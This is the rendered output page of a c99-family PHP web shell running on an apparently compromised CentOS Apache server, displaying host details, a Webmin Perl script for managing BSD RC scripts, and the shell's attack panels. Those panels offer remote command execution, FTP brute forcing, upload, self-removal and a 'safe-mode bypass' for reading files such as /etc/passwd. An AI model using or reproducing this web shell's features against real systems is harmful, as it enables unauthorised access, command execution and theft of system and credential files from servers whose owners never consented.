!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/init/   drwxr-xr-x
Free 49.58 GB of 127.8 GB (38.8%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     save_rc.cgi (2.48 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# Create, update or delete a BSD RC script

require './init-lib.pl';
&ReadParse();
$access{'bootup'} || &error($text{'edit_ecannot'});
&foreign_require("proc", "proc-lib.pl");

@rcs = &list_rc_scripts();
if (!$in{'new'}) {
    ($rc) = grep { $_->{'name'} eq $in{'name'} } @rcs;
    $rc || &error($text{'edit_egone'});
    }

if ($in{'delete'}) {
    # Delete the action script
    &delete_rc_script($in{'name'});
    &webmin_log("delete", "action", $in{'name'});
    &redirect("");
    }
elsif ($in{'start'} || $in{'stop'} || $in{'status'}) {
    # Run now
    $mode = $in{'start'} ? "start" :
        $in{'stop'} ? "stop" : "status";
    &ui_print_header(undef, $text{'ss_'.$mode}, "");
    print &text('ss_doing'.$mode, "<tt>$in{'name'}</tt>"),"<br>\n";
    $cmd = "$rc->{'file'} $mode";
    print "<pre>";
    &foreign_call("proc", "safe_process_exec_logged", $cmd, 0, 0, STDOUT, undef, 1);
    print "</pre>\n";
    &webmin_log($mode, 'action', $in{'name'});
    &ui_print_footer("edit_rc.cgi?name=".&urlize($in{'name'}),
             $text{'edit_return'});
    }
else {
    # Validate inputs
    if ($in{'new'}) {
        $in{'name'} =~ /^[A-z0-9\_\-\.]+$/ ||
            &error($text{'save_ename'});
        ($clash) = grep { $_->{'name'} eq $in{'name'} } @rcs;
        $clash && &error($text{'save_eclash'});
        $in{'start_cmd'} =~ /\S/ || &error($text{'save_estartcmd'});

        @dirs = split(/\s+/, $config{'rc_dir'});
        $file = $dirs[$#dir]."/".$in{'name'};
        $data =  "#!/bin/sh\n";
        $data .= "#\n";
        $data .= "# PROVIDE: $in{'name'}\n";
        $data .= "# REQUIRE: LOGIN\n";
        $data .= "\n";
        $data .= ". /etc/rc.subr\n";
        $data .= "\n";
        $data .= "name=$in{'name'}\n";
        $data .= "rcvar=`set_rcvar`\n";
        $data .= "start_cmd=\"$in{'start_cmd'}\"\n";
        if ($in{'stop_cmd'}) {
            $data .= "stop_cmd=\"$in{'stop_cmd'}\"\n";
            }
        if ($in{'status_cmd'}) {
            $data .= "status_cmd=\"$in{'status_cmd'}\"\n";
            }
        $data .= "\n";
        $data .= "load_rc_config \${name}\n";
        $data .= "run_rc_command \"\$1\"\n";
        }
    else {
        $data = $in{'script'};
        $data =~ s/\r//g;
        $data =~ /\S/ || &error($text{'save_escript'});
        $file = $rc->{'file'};
        }

    # Write out the file
    &open_lock_tempfile(SCRIPT, ">$file");
    &print_tempfile(SCRIPT, $data);
    &close_tempfile(SCRIPT);
    &set_ownership_permissions(undef, undef, 0755, $file);

    if ($rc->{'enabled'} != 2) {
        # Enable or disable
        &lock_rc_files();
        if ($in{'enabled'}) {
            &enable_rc_script($in{'name'});
            }
        else {
            &disable_rc_script($in{'name'});
            }
        &unlock_rc_files();
        }

    &webmin_log($in{'new'} ? "create" : "modify", "action", $in{'name'});
    &redirect("");
    }


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0074 ]--